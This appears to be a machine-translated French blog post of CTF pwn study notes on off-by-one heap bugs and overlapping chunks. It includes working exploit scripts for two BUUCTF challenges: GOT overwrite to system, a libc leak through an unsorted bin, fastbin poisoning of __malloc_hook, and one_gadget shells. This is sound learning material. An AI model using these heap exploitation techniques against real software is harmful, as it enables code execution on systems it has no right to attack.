Partage de technologie

À propos de l'apprentissage ponctuel

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Les bases de pwn sont encore très superficielles. Je viens d'enregistrer une partie de mon expérience d'apprentissage.
Au fur et à mesure que l’étude progresse, des points de connaissances et des questions supplémentaires seront ajoutés.

Points de connaissance

Excellent matériel d'étude

Résumé de l'apprentissage de off par null |

Extension et chevauchement de morceaux | ctfwiki

Un peu de compréhension

Les Chunk Extend et Overlapping mentionnés ci-dessus sont étroitement liés au off-by-one.
C'est ce qu'on appelle souvent des « blocs qui se chevauchent ».
Pourquoi créer des blocs superposés ?
Par exemple, si nous voulons réécrire le champ d'en-tête d'un morceau, c'est-à-dire les segments prev_size et size, nous ne pourrons certainement pas le modifier en l'appliquant directement.
Une idée est de construire un faux morceau égaré. Une autre idée plus simple est de créer des morceaux qui se chevauchent. En modifiant la taille en bits, la partie des données utilisateur d'un gros morceau inclut l'en-tête du petit morceau que nous voulons modifier.

exemple

[buu] hitcontraining_heapcreator

sujet

Je pense que cette question est un bon exemple de la façon d'utiliser un par un. Les questions ne sont pas très difficiles, et les points d'utilisation sont assez astucieux.

Décompiler pour trouver des failles,
image
Il y a un décalage artificiel ici, et un octet supplémentaire peut être écrit ici.

Revenant à l'attribution des sujets,image
Tout d’abord, un morceau de taille 0x10 est alloué pour stocker certaines informations, puis un morceau est alloué au contenu.
Ce sera très clair si vous regardez le débogage de gdb ici.

Par exemple, la disposition du bloc de tas après avoir ajouté (0x28,'0'), add(0x10,'1')
image

Vous pouvez voir qu'à chaque fois que nous ajoutons, nous allons d'abord mallocer un morceau qui stocke les informations de bloc de tas à une adresse basse, puis mallocer un morceau qui stocke le contenu.

Ensuite, j'ai remarqué que les opérations d'édition et d'affichage se font toutes viaInformations sur le bloc de tasstructure à "indexer", alors si nous voulons divulguer la libc, nous pouvons mettre les informations de bloc de tas de ce morceau *content Le champ est modifié par l'adresse de la table obtenue d'une certaine fonction. Par exemple, si atoi est utilisé dans cette question, alors atoi_addr sera imprimé lors de l'affichage.

Cela implique une situation similaire dans le "Petit Compréhension" précédent. Nous ne pouvons pas modifier directement le contenu du bloc qui "stocke les informations du bloc de tas", nous pouvons donc utiliser off-by-one de manière plus intelligente pour implémenter l'extension du bloc de tas. .

Par exemple, si nous le modifions ainsi, cela peut en fait provoquer l'expansion et le chevauchement des blocs de tas.
image

Parlons de l’utilisation spécifique ci-dessous.

  1. Nous devons d’abord modifier un bloc de tas « informations sur le tas de stockage »taillepartie.
    Cette étape peut être réalisée grâce à une vulnérabilité ponctuelle dans la pile de contenu au-dessus de cette pile d'informations.
  2. Ensuite, nous libérons l'index du chunk correspondant à ce bloc de tas d'informations.
  3. À l'heure actuelle, selon l'implémentation de delete_heap
    image

Le bloc de tas d'informations et le bloc de tas de contenu seront gratuits, il y a donc actuellement deux bacs de taille de 0x20 et 0x40 dans les bacs rapides.

image

  1. À ce stade, nous ajoutons un morceau 0x30, et le fastbin 0x40 sera appliqué en tant que bloc de pile de contenu, et un bloc de pile d'informations 0x20 sera demandé, donc le bac 0x20 sera également demandé.

image

  1. Le point clé de cette question est quebloc d'informations La taille et le contenu du morceau correspondant sont déterminés ! Par conséquent, le contenu du bloc de tas d’informations correspondant peut être écrasé à l’étape précédente de add(0x30). De cette façon, le contenu peut être modifié en atoi's got table, et show(1) peut fuir la libc.
  2. Puisque l'adresse du contenu de chunk1 a été modifiée, edit(1) peut modifier le contenu de la table got d'atoi en système, puis envoyer "/bin/shx00" pour obtenir le shell.

Bien sûr, il y a quelques détails, comme la dernière sélection de taille mentionnée de 0x18 et 0x28, et la nécessité de réserver le contenu de la pile d'informations lors de sa modification.taillechamps (sinon la modification finale n'aura pas la longueur nécessaire pour écrire pour vous) et ainsi de suite.

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

Il y a en fait un autre point clé dans cette question, et c’est aussi le point sur lequel j’étais confus au début. L'ajout initial du chunk0 de l'EXP de Maître ZIKH est 0x18. Dans ma propre pratique, le changer en 0x10 ou 0x20 n'a pas fonctionné, mais le changer en 0x28 a fonctionné.
Le débogage a révélé que lorsqu'elles sont modifiées en 0x10, 0x20, nos données utilisateur n'activeront pas le morceau suivant.taille_précédentede.
image

Lors de l'allocation de 0x18, 0x28, etc., le mécanisme ptmalloc2 réutilisera le segment prev_size de next_chunk.
image

emmm, en fait, en dernière analyse, je ne suis toujours pas assez familier avec le tas. Après tout, rien qu'en regardant l'explication du wiki, il y a tellement de points de connaissance et les détails sont compliqués, ce qui rend difficile la mémorisation. Bien sûr, je l'ai rencontré en combat réel. Ce sera bien mieux après l'avoir débogué moi-même et l'avoir à nouveau compris.

[buu] rugissementctf_2019_easy_pwn

sujet

Le défaut de la question est ici.image

Lorsque a2-a1==10 est dans le if, c'est-à-dire lorsque la taille entrée par édition est exactement 10 plus grande que la taille ajoutée, il y a un décalage par un.

Structure d'allocation approximative
image

Ou utilisez le segment bss pour stocker l'inutilisation et l'inutilisation du morceau.*content

Nous pouvons toujours utiliser off-by-one combiné avec les caractéristiques de la taille 0x?8, réutiliser prev_size pour simuler prev_size et size pour déclencher la fusion avant (adresse basse).
image

A ce moment, vous pouvez voir que la fusion est déclenchée par free(2).
image

À ce stade, si nous ajoutons (0x80) puis montrons (1), nous pouvons réellement imprimer la valeur de main_arena+88.
image

D'après ce que je comprends, le add(0x80) ici consiste à diviser la corbeille non triée, de sorte que le pointeur fd (main_arena+88) soit déplacé vers le segment chunk1 qui peut être affiché.

À ce stade, l'adresse de base de la libc est divulguée.
Les opérations suivantes semblent impliquer de nombreux blocs de tas qui se chevauchent, jetons donc un coup d'œil au débogage étape par étape.
Disposition du tas lors d'une fuite de la libc
image

add(0x68)
image
(Coupez un morceau de la poubelle non triée)

free(1)
(fastbin 0x70)
image

edit(2,p64(malloc_hook-0x23))
(Ici, nous profitons du fait que le chunk2 de 0x68 demandé à l'étape précédente chevauche le chunk1 qui vient d'être libéré (le chunk1 a été demandé au début))
image

add(0x68)
(Pour postuler pour chunk1, il s'agit en fait de chunk2)
image

add(0x68)
(Demandez pour renvoyer le fake_chunk à malloc_hook-0x23)
image

Ensuite, vous devez utiliser realloc pour ajuster le cadre de pile et vous pouvez obtenir le shell.

Je peux alors communiquer localement, mais pas à distance.
Après avoir regardé l'Exp de Maître ZIKH, je dois utiliser le
realloc = libcbase + libc.sym['realloc']Changer pourrealloc = libcbase + 0x846c0
Ensuite vous devez changer la valeur de one_gadget
image

Ces deux one_gadgets ont un décalage, je ne sais pas pourquoi pour le moment. Peut-être que cela a quelque chose à voir avec l'ajustement du cadre de la pile ? (Apprenez plus tard)

Jouez à l'Exp locale :

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

locale:
image

À distance:
image


Pour résumer, c’est difficile.